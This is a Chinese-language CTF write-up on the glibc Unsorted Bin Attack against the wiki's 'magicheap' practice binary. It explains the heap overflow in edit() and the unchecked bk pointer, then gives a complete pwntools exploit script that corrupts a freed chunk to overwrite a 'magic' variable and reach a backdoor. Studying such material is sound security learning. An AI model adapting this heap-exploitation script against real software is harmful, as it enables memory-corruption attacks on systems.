之所以 看 Unsorted Bin Attack 因为感觉 Fastbin 还有 UAF算是比较熟悉的 所以 直接看 Unsorted Bin
其实Unsorted Bin 也是比较熟悉的 在泄露 libc库的时候就认真的看过 这个东西
,是当small chunk
或large chunk
free掉之后,不会直接进入smallbin或largebin,而是会先进入unsortedbin
然后他是双链表连接的 不同于fastbin的单链表 他还会堆块合并
这里wiki给的例题很简单 简单看一下
维护一个数组 记录我们的 堆地址
发现 edit 直接让我们自己输入大小 所以这里可以 利用一下 而且还有一个后门函数
这里直接 可以直接 利用 unsortbin 然后直接写进入那个magic 的地方 因为 bk 是没有检查的
这里可以gdb 看一下
可以看到直接 搞定了这个东西。。。。
下面就是脚本,
# -*- coding:utf-8 -*-
import os
import base64
from pwn import*
io=process("./magicheap")
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def add(size,content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.sendline(content)
def edit(index,size,content):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap : ")
io.sendline(content)
def dele(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
if __name__ =="__main__":
add(0x20,'a')
add(0x80,'a')
add(0x20,'a')
add(0x20,'a')
magic=0x6020C0
dele(1)
payload='a'*0x20+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10)
edit(0,len(payload),payload)
#gdb.attach(io)
add(0x80,'pppp')
io.sendline("4869")
print io.recv()
io.close()